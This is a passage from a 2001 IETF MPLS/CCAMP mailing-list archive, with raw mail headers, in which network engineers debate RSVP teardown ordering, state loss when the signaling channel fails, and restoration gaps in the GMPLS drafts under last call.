	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqor17406
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 19:26:54 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqor05981
	for <mpls@UU.NET>; Fri, 25 May 2001 19:25:03 GMT
Received: from mail-blue.research.att.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqor29497
	for <mpls@UU.NET>; Fri, 25 May 2001 19:25:02 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 63E614DEF9; Fri, 25 May 2001 15:25:02 -0400 (EDT)
Received: from research.att.com (pc-summer-gli.research.att.com [135.207.26.95])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id PAA06326;
	Fri, 25 May 2001 15:25:01 -0400 (EDT)
Message-ID: <3B0EB281.1D3F63F1@research.att.com>
Date: Fri, 25 May 2001 15:29:05 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Cc: Jennifer Yates <jyates@research.att.com>, mpls@UU.NET, ccamp@ops.ietf.org
Subject: Re: Last call - RSVP problems
References: <3B0E9EF1.36196764@research.att.com> <3B0EA8DB.311D54A0@alcatel.be>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Dimitri:

Comments in line.

> At that i didn't raise this question but today it seems we
> don't have a LoL propagation (except in all-optical networks)

GMPLS was clained to work in all-optical networks.

> so i was surprised that this question raised at the OIF
> since dealing with SDH/Sonet UNI. So in most cases today "PathTear" is a
> link-by-link deletion process the LoL won't propagate faster than the
> PathTear since you can now control the signal deletion at each hop. Am i
> right ?

Even on a link, it is possible that the downstream node will delect LoL before
receiving the PathTear message. If the downstream node was engineered with
fault detection, some faked actions will happen, such as alarm or restoration.
Still, this is a problem.

- Guangzhi

> Notice this does not preclude to generalize the process as
> proposed in your suggestion.
>
> - Dimitri.
>
> Jennifer Yates wrote:
> >
> > A number of potentially major protocol problems have been identified
> > within the OIF with the current signaling protocols (focusing on RSVP).
> > These problems arise in transport networks because the data plane is
> > separate from the signaling plane.
> >
> > I don't believe these issues have been addressed on the mailing list -
> > if they have, please explain where.
> >
> > ****
> > Connection (LSP) teardown:
> > There is a problem with connection deletion in the current RSVP draft.
> > If a PathTear is sent in the forward direction (with say a
> > unidirectional connection), the first node (cross-connect) will delete
> > the connection and then forward the PathTear to the next cross-connect
> > and so on.
> >
> > Since loss of light will propagate faster than the PathTears, all
> > downstream cross-connects will detect the loss of light and alarm on it,
> > possibly triggering restoration.  This is clearly unacceptable behavior.
> >
> > The right solution is that the deletion message in the forward direction
> > should inform all of the nodes that the connection is being deleted, and
> > the actual deletion should propagate in the *reverse* direction.
> > Therefore, additional protocol extensions are needed to get the correct
> > behavior on deletion.
> >
> > This issue has been already been discussed within OIF documents e.g.,
> > OIF2001.200 (RSVP Extensions in support of deletion confirmation and
> > maintenance during failure), and in the ITU e.g., "Signal flows during
> > exception cases". This issue does not appear to be reflected in the
> > GMPLS documents presented for last call.
> >
> > ****
> > Signaling channel failure:
> > If any element along the RSVP signaling path of an LSP fails, the RSVP
> > soft state timer in nodes downstream of the failure will timeout and the
> > nodes will delete the LSP, even if the forwarding plane is still
> > working! When GMPLS is used to control a transport network, this
> > scenario will occur, since the reliability of control planes is likely
> > quite a bit lower than the cross-connects themselves.  In transport
> > networks, the data plane reliability expectations are very high, and any
> > factor that increases the already steep challenge of meeting those
> > expectations is not acceptable.
> >
> > One of the cardinal principles of transport network architecture is that
> > control plane failure must *not* cause the data plane to fail.  This
> > point has been raised and acknowledged at the OIF, but so far does not
> > seem to have been addressed in any of the GMPLS drafts.
> >
> > Jen



From owner-mpls@UU.NET  Fri May 25 15:52:31 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24027
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 15:52:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqot13574;
	Fri, 25 May 2001 19:46:32 GMT
Received: by mail-control.mail.uu.net 
	id QQkqot19247
	for mpls-outgoing; Fri, 25 May 2001 19:45:54 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqot19236
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 19:45:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqot28310
	for <mpls@UU.NET>; Fri, 25 May 2001 19:45:37 GMT
Received: from mail-blue.research.att.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqot16556
	for <mpls@UU.NET>; Fri, 25 May 2001 19:45:37 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id C618A4D293; Fri, 25 May 2001 15:45:36 -0400 (EDT)
Received: from research.att.com (dhcp-new183.research.att.com [135.207.19.183])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id PAA08792;
	Fri, 25 May 2001 15:45:36 -0400 (EDT)
Message-ID: <3B0EB675.647B46E4@research.att.com>
Date: Fri, 25 May 2001 15:45:57 -0400
From: Jennifer Yates <jyates@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: suresh Katukam <skatukam@cisco.com>
Cc: "v.sharma@ieee.org" <v.sharma@ieee.org>, "mpls@UU.NET" <mpls@UU.NET>,
        "ccamp@ops.ietf.org" <ccamp@ops.ietf.org>
Subject: Re: Last call - RSVP problems
References: <01C0E512.459D90A0.vsharma87@yahoo.com> <3B0EAD10.3AD0FDC6@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Suresh,

>
> Ofcourse, (2) & (3) introduces some problems when the control channel
> comes alive. How do two neighboring nodes sync up on what circuits are
> still alive and what is gone? This is kind of addressed in ATM and we could
> borrow ideas from there. If we all agree on above persistency levels or just
> with (3), then I can provide information on how to sync up etc once nodes
> come back alive.

Another option (as Guangzhi pointed out) is that the refresh still be used, but
state NOT removed on timeout. That way, the refreshes can be used for
re-synching the state, but we don't have the problem of connections being
erroneously removed. It may also have a nice side benefit that if we have a
connection that is not torn down completely when it should have been (ie., some
links still remain up, even though the user attempted to remove the connection),
then we can use out-of-band techniques (e.g., network operator) for tearing down
this state rather than having it sit around in the network forever. The
important point is that the connection is not torn down automatically on loss of
refreshes.

Other solutions are to have the refreshes tunneled around failed signaling
channels, or have nodes downstream of a failure detect the failure and then
generate the necessary refreshes to keep the connection alive. I am not fond of
either of these last two solutions.

Finally, we could introduce a new mechanism for the synching up of state after
signaling node failure.
Borrowing ideas from other technologies is always worth investigating.

I think that this issue needs to be solved before we can take these documents to
last call.

Jen




From owner-mpls@UU.NET  Fri May 25 17:23:09 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25332
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 17:23:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoz08238;
	Fri, 25 May 2001 21:20:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoz07429
	for mpls-outgoing; Fri, 25 May 2001 21:18:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqoz07411
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 21:18:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqoz01905
	for <mpls@UU.NET>; Fri, 25 May 2001 21:16:38 GMT
Received: from icarian.ZAFFIRE.COM by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: int.zaffire.com [63.121.21.2])
	id QQkqoz06165
	for <mpls@UU.NET>; Fri, 25 May 2001 21:16:38 GMT
Received: by ICARIAN with Internet Mail Service (5.5.2653.19)
	id <LQZ8TVAW>; Fri, 25 May 2001 14:16:39 -0700
Message-ID: <4611AD058694D4118FD5009027B0A6622B8E5B@ICARIAN>
From: Fong Liaw <fliaw@zaffire.com>
To: "'suresh Katukam'" <skatukam@cisco.com>, v.sharma@ieee.org
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 14:16:39 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Suresh/Vishal/Jen

>  -----Original Message-----
>  From: suresh Katukam [mailto:skatukam@cisco.com]
>  Sent: Friday, May 25, 2001 12:06 PM
>  To: v.sharma@ieee.org
>  Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
>  Subject: Re: Last call - RSVP problems
>  
>  
>  >
>  
>  Vishal and Jen,
>  
>  One possible solution is that -
>  There are multiple types of persistency of circuits can be provided
>  
>  1. Tear down a Circuit if a control channel fails
>  2. Tear down a Circuit only if a data path fails.
>  3. Tear down a Circuit only when a Source Node or Destination Node
>  deletes by sending explicit messages.
>  
>  I guess, (3) is what normally happens in today's networks. 
>  Only Network
>  administrator deletes circuits through TL1/EMS etc when 
>  there are problems.
>  
>  (1) is achieved naturally by RSVP refresh mechanisms.
>  
>  (2) is achieved when Refresh Timers are set to Infinite (No 
>  RSVP refreshes)
>  and indicate in RSVP message that tear down when a Data Path Fails.
>  

"Infinite timer" is actually very problematice with RSVP. 
We have specifically recommend NOT to use this, after attempting
to do it.

>  (3) is achieved when Refresh Timers are set to Infinite. By default,
>  circuit is kept irrespective of failures.
>

Same as (2), any proposals that remove the refresh mechanism 
is going to be difficult to prove that all cases are covered.

Instead, we (will) recommend the following in OIF UNI document:
   
   Use RSVP Hello to detect control channel failure. 
   If a control channel failure is detected, LSPs states 
   are maintained as if a node continues to receive 
   RSVP refresh message from the failed control channel.
   The recommended Hello timer will be in second range,
   instead of ms range specified in RSVP-TE draft.  

   If a control channel failed permanently, manual intervention 
   may be required. This is to be studied.

p.s The text is currently being drafted as we type.

Regards,
-Fong  

>  Ofcourse, (2) & (3) introduces some problems when the control channel
>  comes alive. How do two neighboring nodes sync up on what 
>  circuits are
>  still alive and what is gone? This is kind of addressed in 
>  ATM and we could
>  borrow ideas from there. If we all agree on above 
>  persistency levels or just
>  with (3), then I can provide information on how to sync up 
>  etc once nodes
>  come back alive.
>  
>  Thanks,
>  Suresh
>  
>  
>  
>  >
>  > > ****
>  > > Signaling channel failure:
>  > > If any element along the RSVP signaling path of an LSP 
>  fails, the RSVP
>  > > soft state timer in nodes downstream of the failure will 
>  timeout and the
>  > > nodes will delete the LSP, even if the forwarding plane is still
>  > > working! When GMPLS is used to control a transport network, this
>  > > scenario will occur, since the reliability of control 
>  planes is likely
>  > > quite a bit lower than the cross-connects themselves.  
>  In transport
>  > > networks, the data plane reliability expectations are 
>  very high, and any
>  > > factor that increases the already steep challenge of 
>  meeting those
>  > > expectations is not acceptable.
>  > >
>  > > One of the cardinal principles of transport network 
>  architecture is that
>  > > control plane failure must *not* cause the data plane to 
>  fail.  This
>  > > point has been raised and acknowledged at the OIF, but 
>  so far does not
>  > > seem to have been addressed in any of the GMPLS drafts.
>  > >
>  > > Jen
>  
>  


From owner-mpls@UU.NET  Fri May 25 17:25:57 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25383
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 17:25:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoz13605;
	Fri, 25 May 2001 21:22:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoz07589
	for mpls-outgoing; Fri, 25 May 2001 21:21:37 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqoz07578
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 21:21:22 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqoz09652
	for <mpls@UU.NET>; Fri, 25 May 2001 21:21:06 GMT
Received: from alpha.tellium.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkqoz24259
	for <mpls@UU.NET>; Fri, 25 May 2001 21:21:05 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4PLIbi12212;
	Fri, 25 May 2001 17:18:38 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXX2QF>; Fri, 25 May 2001 17:22:34 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D022040401982251@mail1.tellium.com>
From: Bala Rajagopalan <BRaja@tellium.com>
To: "'Tarapore, Percy S'" <tarapore@att.com>,
        Bala Rajagopalan
	 <BRaja@tellium.com>,
        "'C. R. Kalmanek'" <crk@research.att.com>,
        John Drake <jdrake@calient.net>
Cc: ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Fri, 25 May 2001 17:22:31 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


This would be fine with me. John? Lou?

regards,


Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: Tarapore, Percy S [mailto:tarapore@att.com]
> Sent: Friday, May 25, 2001 4:34 PM
> To: 'Bala Rajagopalan'; 'C. R. Kalmanek'; John Drake
> Cc: ccamp@ops.ietf.org; mpls@UU.NET
> Subject: RE: GMPLS Last Calls
> 
> 
> Bala,
> 
> Are you suggesting that restoration signaling requirements be 
> formulated in
> a separate GMPLS draft at a later date? If so, the current 
> draft should add
> text regarding the current scope (link protection only) as 
> well as future
> work (restoration) in Section 7.
> 
> Percy
> 
> -----Original Message-----
> From: Bala Rajagopalan [mailto:BRaja@tellium.com]
> Sent: Friday, May 25, 2001 1:57 PM
> To: 'C. R. Kalmanek'; John Drake
> Cc: ccamp@ops.ietf.org; mpls@UU.NET
> Subject: RE: GMPLS Last Calls
> 
> 
> 
> Chuck:
> 
> I believe that the restoration issue can be
> dealt with indepedent of the current drafts
> on last call. Do you see any obstacles to
> adding new objects/semantics (if any) to support
> restoration requirements as they arise?
> 
> BTW, there are some drafts floating around
> on shared mesh.
> 
> regards,
> 
> Bala Rajagopalan
> Tellium, Inc.
> 2 Crescent Place
> P.O. Box 901
> Oceanport, NJ 07757-0901
> Tel: (732) 923-4237
> Fax: (732) 923-9804
> Email: braja@tellium.com 
> 
> > -----Original Message-----
> > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > Sent: Friday, May 25, 2001 1:08 PM
> > To: John Drake
> > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> > mpls@UU.NET
> > Subject: Re: GMPLS Last Calls
> > 
> > 
> > I fully agree: there are a whole spectrum of options that we
> > need to sort through, and clear requirements are needed to
> > guide that process.  Our concern is with the last call.  It
> > doesn't make sense to progress drafts to RFC that are likely 
> > in hindsight to be viewed as having serious deficiencies in
> > meeting restoration requirements.
> > 
> > chuck
> > 
> > John Drake wrote:
> > > 
> > > The point is that in GMPLS, as in regular MPLS, restoration 
> > consists of
> > > rerouting from the endpoints upon
> > > notification of failure.  There are a whole spectrum of 
> > path and span
> > > protection possibilites beyond this
> > > that people (including us) have proposed, but in the 
> absence of firm
> > > requirements, it's hard to know which
> > > to pursue.  I'm not sure 'shared mesh restoration' 
> > completely covers it.
> > > 
> > > Thanks,
> > > 
> > > John
> > > 
> > > -----Original Message-----
> > > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > > Sent: Friday, May 25, 2001 9:54 AM
> > > To: John Drake
> > > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); 
> ccamp@ops.ietf.org;
> > > mpls@uu.net
> > > Subject: Re: GMPLS Last Calls
> > > 
> > > John,
> > > 
> > > While there currently are no restoration requirements from the
> > > TE (or other) group, what Percy is saying is that shared mesh
> > > restoration WILL be a requirement from those groups.  Since the
> > > current GMPLS drafts don't meet this requirement, they are
> > > unlikely to meet key SP needs.
> > > 
> > > I don't understand a process that starts the requirements
> > > development after last call for the signaling specifications.
> > > 
> > > chuck
> > > 
> > > John Drake wrote:
> > > >
> > > > Percy,
> > > >
> > > > There has been work on protocols for path restoration in 
> > mesh networks by
> > > a
> > > > number of
> > > > people.  However, at the last IETF Kireeti and Vijay 
> > clearly indicated
> > > that
> > > > this work,
> > > > while interesting, wouldn't be allowed to progress in 
> advance of a
> > > > restoration requirements
> > > > draft from the TE group.
> > > >
> > > > Thanks,
> > > >
> > > > John
> > > >
> > > > -----Original Message-----
> > > > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > > > Sent: Thursday, May 24, 2001 11:55 AM
> > > > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > > > Subject: RE: GMPLS Last Calls
> > > >
> > > > There is a significant issue related to the absence of 
> > restoration in the
> > > > signaling draft
> > > >
> > > 
> > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > ed-signaling-0
> > > > 4.txt). Very specifically, Section 7 of this draft deals 
> > with the case
> > > > involving protection information for link protection. While link
> > > protection
> > > > schemes may be desirable for fast recovery related to 
> > high priority LSP's,
> > > > more cost-effective shared mesh restoration schemes would 
> > be preferred for
> > > > the majority of traffic from a Service Provider's 
> > perspective. This
> > > > observation is supported by the fact that many vendors 
> > are currently
> > > > developing proprietary schemes for shared mesh 
> > restoration. Hence, in
> > > > addition to the protection information, GMPLS signaling 
> > needs to reflect a
> > > > minimum set of information/attributes required for shared 
> > mesh restoration
> > > > without jeopardizing vendor proprietary solutions.
> > > >
> > > > The need for multiple types of restoration capabilities 
> > is well documented
> > > > in the OIF/UNI I-D
> > > >
> > > 
> > http://search.ietf.org/internet-drafts/draft-many-carrier-fram
> > ework-uni-00.t
> > > > xt as follows:
> > > >
> > > > " Multiple types of facilities available for restoration 
> > are needed
> > > >    within the network. The following options should be 
> > considered for
> > > >    allocation of facilities to support restoration of failed
> > > >    connections:
> > > >    - Dedicated restoration capacity
> > > >    - Shared restoration capacity. This allows the network 
> > to ensure
> > > >      high quality service for customers, while still 
> managing its
> > > >      physical resources efficiently.
> > > >    - Un-restorable
> > > >    - Pre-emptable"
> > > >
> > > > The OIF/UNI I-D supports a range of different restoration 
> > schemes through
> > > > the use of service level as a connection attribute. This 
> > attribute is
> > > > defined as follows:
> > > >
> > > > " an integer attribute that indicates a class of service. 
> > A carrier may
> > > > specify a range of different classes of service (e.g. 
> > gold, silver,
> > > bronze)
> > > > with predefined characteristics (e.g. restoration plans). 
> > The pre-defined
> > > > service types correspond to different types of network 
> > restoration (e.g.
> > > no
> > > > restoration, 1+1 protection), connection set-up and hold 
> > priorities,
> > > > reversion strategies for the connection after failures 
> > have been repaired,
> > > > and retention strategies."
> > > >
> > > > It is therefore important that GMPLS be extended to be 
> > able to support
> > > such
> > > > restoration schemes.
> > > >
> > > > Percy S. Tarapore
> > > > AT&T Labs
> > > >
> > > > -----Original Message-----
> > > > From: Ash, Gerald R (Jerry)
> > > > Sent: Thursday, May 24, 2001 2:20 PM
> > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > Cc: Ash, Gerald R (Jerry)
> > > > Subject: RE: GMPLS Last Calls
> > > >
> > > > Quoting from the CCAMP/IETF-50 meeting minutes re the 
> > GMPLS Architecture
> > > > draft:
> > > >
> > > > "Eve - Had hoped that CCAMP formation and expression of 
> > requirements would
> > > > enable us to do more with architecture than reverse 
> > architect proposed
> > > > solution. Think we should also look at carrier 
> > requirements and look for
> > > > discrepancies with architecture.
> > > > Curtis - requirements of carriers not being addressed?
> > > > Eve - happy to discuss on mailing list in absence of time"
> > > >
> > > > There are still no documented service provider (SP) 
> > requirements driving
> > > the
> > > > proposed GMPLS protocol extensions.  This is inconsistent 
> > with the current
> > > > initiatives to provide SP requirements prior to protocol 
> > extensions being
> > > > accepted, such as for protection/restoration, network 
> > hierarchy, MPLS OAM,
> > > > MPLS/DiffServ TE, multi-area TE, etc.
> > > >
> > > > Here is a sample of SP requirements that are not being 
> > addressed (other
> > > > requirements from our perspective are forthcoming):
> > > >
> > > > 1. Restoration requirements, particularly in support of 
> > mesh restoration,
> > > > need to be supported by GMPLS.  For example, Section 7 of 
> > the Generalized
> > > > Signaling I-D
> > > >
> > > 
> > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > ed-signaling-0
> > > > 4.txt)
> > > > primarily discusses link protection, restoration 
> > capabilities are largely
> > > > missing and need to be included.
> > > >
> > > > 2. Standards explicitly supported by GMPLS, such as 
> > G.707, G.709, etc.,
> > > > should be clearly identified in the text and referenced 
> > in the GMPLS I-Ds,
> > > > e.g., in Section 3.1 of the Generalized Signaling I-D, 
> add "G.707
> > > [Reference
> > > > G.707] is supported by the Generalized Label Request."
> > > >
> > > > As per Eve's comment at IETF-50, SPs are encouraged to 
> post their
> > > > requirements to the list.  It would also help if more SPs 
> > were invited to
> > > > co-author the GMPLS drafts, to help ensure that SP 
> > requirements are more
> > > > adequately reflected and addressed.
> > > >
> > > > Jerry Ash
> > > > AT&T Labs
> > > >
> > > > -----Original Message-----
> > > > From: George Swallow [mailto:swallow@cisco.com]
> > > > Sent: Monday, May 14, 2001 1:52 PM
> > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > Subject: GMPLS Last Calls
> > > >
> > > > This message initiates a last call on four GMPLS 
> drafts.  The last
> > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > >
> > > > The drafts are:
> > > >
> > > >     1.  Generalized MPLS - Signaling Functional Description
> > > >
> > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > >
> > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > >
> > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > >
> > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > >
> > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > >
> > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > >
> > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > >
> > > > The last call closes May 29, 12 pm GMT.
> > > >
> > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > >
> > > > 
> > 
> ======================================================================
> > > > George Swallow       Cisco Systems                   
> > (978) 244-8143
> > > >                      250 Apollo Drive
> > > >                      Chelmsford, Ma 01824
> > 
> 


From owner-mpls@UU.NET  Fri May 25 17:26:49 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25406
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 17:26:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoz07298;
	Fri, 25 May 2001 21:18:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoz07423
	for mpls-outgoing; Fri, 25 May 2001 21:18:25 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqoz07418
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 21:18:21 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqoz20592
	for <mpls@UU.NET>; Fri, 25 May 2001 21:16:55 GMT
Received: from pulsar.chromisys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 200-139.adsl6.netlojix.net [207.71.200.139] (may be forged))
	id QQkqoz06271
	for <mpls@UU.NET>; Fri, 25 May 2001 21:16:55 GMT
Received: by pulsar.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7YGSF9>; Fri, 25 May 2001 14:13:40 -0700
Message-ID: <C12BBE1C7A8F7344808CD8C2A345DFB821C5C9@pulsar.chromisys.com>
From: Jonathan Lang <jplang@calient.net>
To: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 14:13:40 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Jennifer,
  Please see inline comments.

Thanks,
Jonathan

> -----Original Message-----
> From: Jennifer Yates [mailto:jyates@research.att.com]
> Sent: Friday, May 25, 2001 11:06 AM
> To: mpls@UU.NET; ccamp@ops.ietf.org
> Subject: Last call - RSVP problems
> 
> 
> A number of potentially major protocol problems have been identified
> within the OIF with the current signaling protocols (focusing 
> on RSVP).
> These problems arise in transport networks because the data plane is
> separate from the signaling plane.
> 
> I don't believe these issues have been addressed on the mailing list -
> if they have, please explain where.
> 
> ****
> Connection (LSP) teardown:
> There is a problem with connection deletion in the current RSVP draft.
> If a PathTear is sent in the forward direction (with say a
> unidirectional connection), the first node (cross-connect) will delete
> the connection and then forward the PathTear to the next cross-connect
> and so on.
> 
> Since loss of light will propagate faster than the PathTears, all
> downstream cross-connects will detect the loss of light and 
> alarm on it, possibly triggering restoration.  This is clearly 
> unacceptable behavior.

If LMP fault management is used, the "multiple alarming" behavior will be
avoided.

> 
> The right solution is that the deletion message in the forward direction
> should inform all of the nodes that the connection is being deleted, and
> the actual deletion should propagate in the *reverse* direction.
> Therefore, additional protocol extensions are needed to get the correct
> behavior on deletion.
> 
> This issue has been already been discussed within OIF documents e.g.,
> OIF2001.200 (RSVP Extensions in support of deletion confirmation and
> maintenance during failure), and in the ITU e.g., "Signal flows during
> exception cases". This issue does not appear to be reflected in the
> GMPLS documents presented for last call.

Please see the LMP document for a description of the fault management
procedure.

> 
> ****
> Signaling channel failure:
> If any element along the RSVP signaling path of an LSP fails, the RSVP
> soft state timer in nodes downstream of the failure will timeout and the
> nodes will delete the LSP, even if the forwarding plane is still
> working! When GMPLS is used to control a transport network, this
> scenario will occur, since the reliability of control planes is likely
> quite a bit lower than the cross-connects themselves.  In transport
> networks, the data plane reliability expectations are very 
> high, and any factor that increases the already steep challenge of meeting
those
> expectations is not acceptable.
> 
> One of the cardinal principles of transport network architecture is that
> control plane failure must *not* cause the data plane to fail.  This
> point has been raised and acknowledged at the OIF, but so far does not
> seem to have been addressed in any of the GMPLS drafts.

  According to rfc2205, the state's lifetime L must satisfy: L>=
(K+0.5)*1.5*R where K is an integer and R is the refresh timer.  My
suggestion to the OIF back in January in Tampa was to use L (or effectively
K*R) to get the operation you are looking for.  I believe this will satisfy
your requirement and does not require any changes to the signaling protocol.

> 
> Jen
> 


From owner-mpls@UU.NET  Fri May 25 17:38:20 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25597
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 17:38:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpa08777;
	Fri, 25 May 2001 21:36:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpa08764
	for mpls-outgoing; Fri, 25 May 2001 21:35:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqpa08756
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 21:35:26 GMT
